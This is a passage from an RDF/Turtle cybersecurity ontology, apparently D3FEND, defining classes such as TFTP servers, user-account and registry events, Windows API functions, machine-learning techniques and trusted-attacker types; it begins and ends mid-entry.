    d3f:definition "Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.(Citation: Broadcom VMware Tools Services)" ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:TFTPServer a owl:Class ;
    rdfs:label "TFTP Server" ;
    d3f:definition "Trivial File Transfer Protocol (TFTP) is a simple file transfer protocol, typically used to automatically transfer configuration or boot files between machines.  It is used where user authentication and directory visibility are not required." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Trivial_File_Transfer_Protocol> ;
    rdfs:subClassOf d3f:Server .

d3f:TabletComputer a owl:Class ;
    rdfs:label "Tablet Computer" ;
    d3f:definition "A tablet computer, commonly shortened to tablet, is a mobile device, typically with a mobile operating system and touchscreen display processing circuitry, and a rechargeable battery in a single, thin and flat package. Tablets, being computers, do what other personal computers do, but lack some input/output (I/O) abilities that others have. Modern tablets largely resemble modern smartphones, the only differences being that tablets are relatively larger than smartphones, with screens 7 inches (18 cm) or larger, measured diagonally, and may not support access to a cellular network." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Tablet_computer> ;
    rdfs:subClassOf d3f:PersonalComputer ;
    skos:altLabel "Tablet" .

d3f:Telecommand a owl:Class ;
    rdfs:label "Telecommand" ;
    d3f:definition "A telecommand or telecontrol is a command sent to control a remote system or systems not directly connected (e.g. via wires) to the place from which the telecommand is sent." ;
    d3f:synonym "Remote Control Command" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Telecommand> ;
    rdfs:subClassOf d3f:RemoteCommand .

d3f:TemporalLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Temporal Logic" ;
    d3f:d3fend-id "D3A-TL" ;
    d3f:definition "Temporal logic addresses the semantics of tense; i.e., qualifying expressions of when." ;
    d3f:kb-article """## References
1. Temporal logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Temporal_logic)""" ;
    rdfs:subClassOf d3f:ModalLogic .

d3f:TertiaryStorage a owl:Class ;
    rdfs:label "Tertiary Storage" ;
    d3f:definition "Tertiary storage or tertiary memory is memory primarily used for archiving rarely accessed information. It is primarily useful for extraordinarily large data stores. Typical examples include tape libraries and optical jukeboxes." ;
    rdfs:isDefinedBy <https://en.wikipedia.org/wiki/Computer_data_storage#Tertiary_storage> ;
    rdfs:subClassOf d3f:HardwareDevice,
        d3f:SecondaryStorage .

d3f:ThreadStartFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Thread Start Function" ;
    d3f:definition "A function which invokes a create thread system call." ;
    d3f:executes d3f:Thread ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:Thread ],
        d3f:Subroutine .

d3f:TrajectoryPrediction a owl:Class ;
    rdfs:label "Trajectory Prediction" ;
    rdfs:subClassOf d3f:Forecasting .

d3f:Transceiver a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transceiver" ;
    d3f:contains d3f:Receiver,
        d3f:Transmitter ;
    d3f:definition "A transceiver is a device that contains both a transmitter and receiver." ;
    rdfs:isDefinedBy <https://www.analog.com/en/resources/glossary/transceiver.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Transmitter ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Receiver ],
        d3f:HardwareDevice .

d3f:TransducerSensor a owl:Class ;
    rdfs:label "Transducer Sensor" ;
    d3f:definition "A Transducer Sensor converts physical signals into digital data for monitoring purposes." ;
    rdfs:subClassOf d3f:Sensor .

d3f:Transformer-XL a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transformer-XL" ;
    d3f:d3fend-id "D3A-TX" ;
    d3f:definition "Transformer-XL is a transformer architecture that introduces the notion of recurrence to the deep self-attention network. Instead of computing the hidden states from scratch for each new segment, Transformer-XL reuses the hidden states obtained in previous segments." ;
    d3f:kb-article """## References
Transformer-XL. (n.d.). Papers with Code. [Link](https://paperswithcode.com/method/transformer-xl)""" ;
    rdfs:subClassOf d3f:Transformer-basedLearning .

d3f:TransportLink a owl:Class ;
    rdfs:label "Transport Link" ;
    d3f:definition "A Transport Link is a type of logical link that exists at the transport layer of a network or system architecture." ;
    rdfs:subClassOf d3f:LogicalLink .

d3f:TrustedAdministratorAttacker a owl:Class ;
    rdfs:label "Trusted Administrator Attacker" ;
    d3f:definition "A trusted attacker who misuses administrative access to execute attacks, often with elevated privileges." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:PrivilegedUserAccount ],
        d3f:TrustedAttacker .

d3f:TrustedUserAttacker a owl:Class ;
    rdfs:label "Trusted User Attacker" ;
    d3f:definition "A trusted attacker who abuses regular user-level access privileges to compromise systems or data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:DomainUserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:DefaultUserAccount ],
        d3f:TrustedAttacker .

d3f:TunnelCloseEvent a owl:Class ;
    rdfs:label "Tunnel Close Event" ;
    d3f:definition "An event where a network tunnel is terminated, ending encapsulated communication and releasing the associated resources." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:TunnelOpenEvent ],
        d3f:TunnelEvent .

d3f:TunnelRenewEvent a owl:Class ;
    rdfs:label "Tunnel Renew Event" ;
    d3f:definition "An event where the lifecycle of a network tunnel is extended, ensuring continued encapsulated communication and avoiding session expiration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:TunnelOpenEvent ],
        d3f:TunnelEvent .

d3f:UncertaintySampling a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Uncertainty Sampling" ;
    d3f:d3fend-id "D3A-US" ;
    d3f:definition "Makes the utility inversely proportional to the uncertainty of the model with respect to the sample and will work with any  model provided it can assess its uncertainty of a predection." ;
    d3f:kb-article """## References
Intro to Active Learning. inovex Blog.  [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).""" ;
    rdfs:subClassOf d3f:ActiveLearning .

d3f:UnitTestExecutionTool a owl:Class ;
    rdfs:label "Unit Test Execution Tool" ;
    d3f:definition "An unit test execution tool automatically performs unit testing.  Unit testing is a software testing method by which individual units of source code are tested to determine whether they are fit for use.  Unit test execution tools work with sets of one or more computer program modules together with associated control data, usage procedures, and operating procedures. This contrasts with integration testing, which tests inter-unit dependencies and the modules as a group." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Unit_testing> ;
    rdfs:subClassOf d3f:TestExecutionTool .

d3f:UnixHardLink a owl:Class ;
    rdfs:label "Unix Hard Link" ;
    d3f:definition "A Unix hard link is a hard link on a Unix file system." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Hard_link> ;
    rdfs:subClassOf d3f:HardLink,
        d3f:UnixLink .

d3f:UnloadLibraryEvent a owl:Class ;
    rdfs:label "Unload Library Event" ;
    d3f:definition "An event where a process unloads a dynamically linked library or module, reducing its memory footprint or functionality." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:LoadLibraryEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:ProcessEvent .

d3f:UseCaseGoal a owl:Class ;
    rdfs:label "Use Case Goal" ;
    rdfs:subClassOf d3f:Goal .

d3f:UseCaseProcedure a owl:Class ;
    rdfs:label "Use Case Procedure" ;
    rdfs:subClassOf d3f:Procedure .

d3f:UseCaseStep a owl:Class ;
    rdfs:label "Use Case Step" ;
    rdfs:subClassOf d3f:Step .

d3f:UserAccountDeletionEvent a owl:Class ;
    rdfs:label "User Account Deletion Event" ;
    d3f:definition "An event representing the permanent deletion of a user account from a system or domain." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountDetachPolicyEvent a owl:Class ;
    rdfs:label "User Account Detach Policy Event" ;
    d3f:definition "An event where an IAM policy is detached from a user account." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountAttachPolicyEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountDisableEvent a owl:Class ;
    rdfs:label "User Account Disable Event" ;
    d3f:definition "An event where a user account is disabled, preventing its active use within the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountEnableEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountLockEvent a owl:Class ;
    rdfs:label "User Account Lock Event" ;
    d3f:definition "An event where a user account is locked out due to failed authentication attempts or administrative action." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountMFADisableEvent a owl:Class ;
    rdfs:label "User Account MFA Disable Event" ;
    d3f:definition "An event where multi-factor authentication (MFA) is disabled for a user account." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountMFAEnableEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountPasswordChangeEvent a owl:Class ;
    rdfs:label "User Account Password Change Event" ;
    d3f:definition "An event where a user account's password is modified, typically by the user or an administrator." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Credential ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountPasswordResetEvent a owl:Class ;
    rdfs:label "User Account Password Reset Event" ;
    d3f:definition "An event where a user account's password is reset, typically due to a forgotten password or administrative action." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Credential ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountUpdateEvent a owl:Class ;
    rdfs:label "User Account Update Event" ;
    d3f:definition "An event capturing updates to a user account, including changes to its attributes or configuration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UserBehavior a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Behavior" ;
    d3f:contains d3f:UserAction ;
    d3f:definition "A user behavior is a pattern of user actions, or set of such patterns. Modeling and analyzing these patterns and monitoring a users actions for meaningful anomalies is known as user behavior analytics (UBA)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/User_behavior_analytics> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:UserAction ],
        d3f:DigitalInformationBearer .

d3f:UserProfile a owl:Class ;
    rdfs:label "User Profile" ;
    d3f:definition "A user profile is a collection of settings and information associated with a user. It contains critical information that is used to identify an individual, such as their name, age, portrait photograph and individual characteristics such as knowledge or expertise." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/User_profile> ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/User_profile> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:UserStartupDirectory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Startup Directory" ;
    d3f:contains d3f:UserStartupScriptFile ;
    d3f:definition "A user startup directory holds information necessary to start the users session with the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:UserStartupScriptFile ],
        d3f:UserLogonInitResource .

d3f:VPNServer a owl:Class ;
    rdfs:label "VPN Server" ;
    d3f:definition """A VPN server is a type of server that enables hosting and delivery of VPN services.

It is a combination of VPN hardware and software technologies that provides VPN clients with connectivity to a secure and/or private network, or rather, the VPN.""" ;
    rdfs:isDefinedBy <https://www.techopedia.com/definition/30750/vpn-server> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Virtual_private_network> ;
    rdfs:subClassOf d3f:Server .

d3f:VarianceReduction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Variance Reduction" ;
    d3f:d3fend-id "D3A-VR" ;
    d3f:definition "Leverages a well-known result from statistical learning and decomposes the model error into a data noise term, a model bias term and a model variance term. As the noise term only depends on the data and the bias is induced by the choice of model, any reduction in the error can only come from the variance term." ;
    d3f:kb-article """## References
Intro to Active Learning. inovex Blog.  [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).""" ;
    rdfs:subClassOf d3f:ActiveLearning .

d3f:VectorImageFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Vector Image File" ;
    d3f:contains d3f:VectorImage ;
    d3f:definition "A file that contains graphics data represented by vectors." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:VectorImage ],
        d3f:ImageFile .

d3f:Vendor a owl:Class ;
    rdfs:label "Vendor" ;
    d3f:definition "A vendor sells or supplies goods and services to customers." ;
    rdfs:subClassOf d3f:Provider .

d3f:VersionControlTool a owl:Class ;
    rdfs:label "Version Control Tool" ;
    d3f:definition "Version control tools are tools that used to conduct version control. A  component of software configuration management, version control, also known as revision control, source control, or source code management systems are systems responsible for the management of changes to documents, computer programs, large web sites, and other collections of information. Changes are usually identified by a number or letter code, termed the \"revision number\", \"revision level\", or simply \"revision\". For example, an initial set of files is \"revision 1\". When the first change is made, the resulting set is \"revision 2\", and so on. Each revision is associated with a timestamp and the person making the change. Revisions can be compared, restored, and with some types of files, merged." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Version_control> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Software_configuration_management> ;
    rdfs:subClassOf d3f:DeveloperApplication ;
    skos:altLabel "Revision Control",
        "Source Control" .

d3f:Voting a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Voting" ;
    d3f:d3fend-id "D3A-VOT" ;
    d3f:definition "Voting is another form of ensembling." ;
    d3f:kb-article """## References
Ensemble learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Ensemble_learning).""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:WHOISCompatibleDomainRegistration a d3f:DomainRegistration,
        owl:NamedIndividual ;
    rdfs:label "WHOIS Compatible Domain Registration" .

d3f:WebAPIResource a owl:Class ;
    rdfs:label "Web API Resource" ;
    d3f:definition "A web API resource is an API resource identified by a Uniform Resource Identifier (URI) and made available from one host to another host via a web protocol and across a network or networks." ;
    rdfs:subClassOf d3f:WebResource .

d3f:WebAccessToken a owl:Class ;
    rdfs:label "Web Access Token" ;
    d3f:definition "A web access token is a credential that allows a web client application to access a specific resource to perform specific actions on behalf of the user." ;
    d3f:synonym "WAT" ;
    rdfs:seeAlso <http://dbpedia.org/resource/JSON_Web_Token>,
        <https://auth0.com/blog/id-token-access-token-what-is-the-difference/> ;
    rdfs:subClassOf d3f:SessionToken .

d3f:WebApplicationFirewall a owl:Class ;
    rdfs:label "Web Application Firewall" ;
    d3f:definition "A web application firewall (or WAF) filters, monitors, and blocks HTTP traffic to and from a web application. A WAF is differentiated from a regular firewall in that a WAF is able to filter the content of specific web applications while regular firewalls serve as a safety gate between servers. By inspecting HTTP traffic, it can prevent attacks stemming from web application security flaws, such as SQL injection, cross-site scripting (XSS), file inclusion, and security misconfigurations." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Web_application_firewall> ;
    rdfs:subClassOf d3f:ApplicationLayerFirewall ;
    skos:altLabel "WAF" .

d3f:WebApplicationServer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Application Server" ;
    d3f:definition "A web application server is a web server that hosts applications. Application server frameworks are software frameworks for building application servers. An application server framework provides both facilities to create web applications and a server environment to run them. In the case of Java application servers, the server behaves like an extended virtual machine for running applications, transparently handling connections to the database on one side, and, often, connections to the Web client on the other." ;
    d3f:runs d3f:WebApplication ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Application_server> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:runs ;
            owl:someValuesFrom d3f:WebApplication ],
        d3f:WebServer .

d3f:WebIdentityToken a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Identity Token" ;
    d3f:definition "An ID token is an artifact that proves that the user has been authenticated." ;
    d3f:kb-article """## How it works

An ID token is proof of the user's authentication. An ID token is encoded as a JSON Web Token (JWT), a standard format that allows your application to easily inspect its content, and make sure it comes from the expected issuer and that no one else changed it.""" ;
    d3f:signed-by d3f:CryptographicKey ;
    d3f:synonym "Identity Token" ;
    rdfs:isDefinedBy <https://auth0.com/blog/id-token-access-token-what-is-the-difference/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:signed-by ;
            owl:someValuesFrom d3f:CryptographicKey ],
        d3f:Credential .

d3f:WebServerApplication a owl:Class ;
    rdfs:label "Web Server Application" ;
    d3f:definition "A web server application handles HTTP requests from clients, serves static content, and may act as a reverse proxy or load balancer." ;
    rdfs:subClassOf d3f:ServiceApplication .

d3f:WebSocketURL a d3f:URL,
        owl:NamedIndividual ;
    rdfs:label "Web Socket URL" .

d3f:WindowOpenFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows OpenFile" ;
    d3f:definition "Creates, opens, reopens, or deletes a file." ;
    d3f:invokes d3f:WindowsNtOpenFile ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openfile> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtOpenFile ],
        d3f:OSAPICreateFile,
        d3f:OSAPIOpenFile .

d3f:WindowsBatchFile a d3f:ExecutableScript,
        owl:NamedIndividual ;
    rdfs:label "Windows Batch File" .

d3f:WindowsCreateFileA a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows CreateFileA" ;
    d3f:definition "Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified." ;
    d3f:invokes d3f:WindowsNtCreateFile,
        d3f:WindowsNtCreateMailslotFile,
        d3f:WindowsNtCreateNamedPipeFile,
        d3f:WindowsNtCreatePagingFile ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreatePagingFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateMailslotFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateNamedPipeFile ],
        d3f:OSAPICreateFile,
        d3f:OSAPIOpenFile .

d3f:WindowsCreateProcessA a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows CreateProcessA" ;
    d3f:definition "Creates a new process and its primary thread. The new process runs in the security context of the calling process." ;
    d3f:invokes d3f:WindowsNtCreateProcess,
        d3f:WindowsNtCreateProcessEx ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateProcessEx ],
        d3f:OSAPICreateProcess .

d3f:WindowsCreateRemoteThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows CreateRemoteThread" ;
    d3f:definition "Creates a thread that runs in the virtual address space of another process." ;
    d3f:invokes d3f:WindowsNtCreateThreadEx ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateThreadEx ],
        d3f:OSAPICreateThread .

d3f:WindowsCreateThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows CreateThread" ;
    d3f:definition "Creates a thread to execute within the virtual address space of the calling process." ;
    d3f:invokes d3f:WindowsNtCreateThread,
        d3f:WindowsNtCreateThreadEx ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateThreadEx ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtCreateThread ],
        d3f:OSAPICreateThread .

d3f:WindowsDeleteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows DeleteFile" ;
    d3f:definition "Deletes an existing file." ;
    d3f:invokes d3f:WindowsNtDeleteFile ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-deletefile> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtDeleteFile ],
        d3f:OSAPIDeleteFile .

d3f:WindowsDuplicateToken a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows DuplicateToken" ;
    d3f:definition "The DuplicateToken function creates a new access token that duplicates one already in existence." ;
    d3f:invokes d3f:WindowsNtDuplicateToken ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtDuplicateToken ],
        d3f:OSAPICopyToken .

d3f:WindowsGetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows GetThreadContext" ;
    d3f:definition "Retrieves the context of the specified thread." ;
    d3f:invokes d3f:WindowsNTGetThreadContext ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNTGetThreadContext ],
        d3f:OSAPIGetThreadContext .

d3f:WindowsNtAllocateVirtualMemoryEx a owl:Class ;
    rdfs:label "Windows NtAllocateVirtualMemoryEx" ;
    rdfs:subClassOf d3f:OSAPIAllocateMemory .

d3f:WindowsNtSetInformationFileArgumentFileDispositionInformation a owl:Class ;
    rdfs:label "Windows NtSetInformationFile Argument FileDispositionInformation" ;
    d3f:definition "Request to delete the file when it is closed or cancel a previously requested deletion." ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntsetinformationfile> ;
    rdfs:subClassOf d3f:OSAPIDeleteFile .

d3f:WindowsNtSuspendProcess a owl:Class ;
    rdfs:label "Windows NtSuspendProcess" ;
    rdfs:subClassOf d3f:OSAPISuspendProcess .

d3f:WindowsOpenProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows OpenProcess" ;
    d3f:definition "Opens an existing local process object." ;
    d3f:invokes d3f:WindowsNtOpenProcess ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtOpenProcess ],
        d3f:OSAPITraceProcess .

d3f:WindowsOpenThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows OpenThread" ;
    d3f:definition "Opens an existing thread object." ;
    d3f:invokes d3f:WindowsNtOpenThread ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtOpenThread ],
        d3f:OSAPITraceThread .

d3f:WindowsProcess a d3f:Process,
        owl:NamedIndividual ;
    rdfs:label "Windows Process" .

d3f:WindowsQueryPerformanceCounter a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows QueryPerformanceCounter" ;
    d3f:definition "Retrieves the current value of the performance counter, which is a high resolution (<1us) time stamp that can be used for time-interval measurements." ;
    d3f:invokes d3f:WindowsNtQuerySystemTime ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/profileapi/nf-profileapi-queryperformancecounter> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtQuerySystemTime ],
        d3f:OSAPIGetSystemTime .

d3f:WindowsReadFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows ReadFile" ;
    d3f:definition "Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device." ;
    d3f:invokes d3f:WindowsNtReadFile,
        d3f:WindowsNtReadFileScatter ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtReadFileScatter ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtReadFile ],
        d3f:OSAPIReadFile .

d3f:WindowsRegistryKeyDeletionEvent a owl:Class ;
    rdfs:label "Windows Registry Key Deletion Event" ;
    d3f:definition "An event representing the removal of a registry key from the Windows Registry, including its hierarchical structure and associated metadata." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryKeyCreationEvent ],
        d3f:WindowsRegistryKeyEvent .

d3f:WindowsRegistryKeyExportEvent a owl:Class ;
    rdfs:label "Windows Registry Key Export Event" ;
    d3f:definition "An event representing the export of registry key data from the Windows Registry to an external file or format." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryKeyCreationEvent ],
        d3f:WindowsRegistryKeyEvent .

d3f:WindowsRegistryKeyReadEvent a owl:Class ;
    rdfs:label "Windows Registry Key Read Event" ;
    d3f:definition "An event where a registry key is accessed to query its structure, properties, or associated metadata without modifying its state." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryKeyCreationEvent ],
        d3f:WindowsRegistryKeyEvent .

d3f:WindowsRegistryKeyRenamingEvent a owl:Class ;
    rdfs:label "Windows Registry Key Renaming Event" ;
    d3f:definition "An event where the name of a registry key is changed, altering its identifier within the registry hierarchy." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryKeyCreationEvent ],
        d3f:WindowsRegistryKeyEvent .

d3f:WindowsRegistryKeyRestoreEvent a owl:Class ;
    rdfs:label "Windows Registry Key Restore Event" ;
    d3f:definition "An event where a registry key is restored to a previous state using a backup or recovery mechanism." ;
    rdfs:subClassOf d3f:WindowsRegistryKeyEvent .

d3f:WindowsRegistryKeySetSecurityEvent a owl:Class ;
    rdfs:label "Windows Registry Key Set Security Event" ;
    d3f:definition "An event representing the application or modification of access controls or security settings to a registry key." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryKeyCreationEvent ],
        d3f:WindowsRegistryKeyEvent .

d3f:WindowsRegistryKeyUpdateEvent a owl:Class ;
    rdfs:label "Windows Registry Key Update Event" ;
    d3f:definition "An event where an existing registry key is updated or reconfigured, reflecting changes to its metadata or properties." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryKeyCreationEvent ],
        d3f:WindowsRegistryKeyEvent .

d3f:WindowsRegistryValueDeletionEvent a owl:Class ;
    rdfs:label "Windows Registry Value Deletion Event" ;
    d3f:definition "An event where a registry value is deleted from the Windows Registry, permanently removing its associated data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryValueSetEvent ],
        d3f:WindowsRegistryValueEvent .

d3f:WindowsRegistryValueGetEvent a owl:Class ;
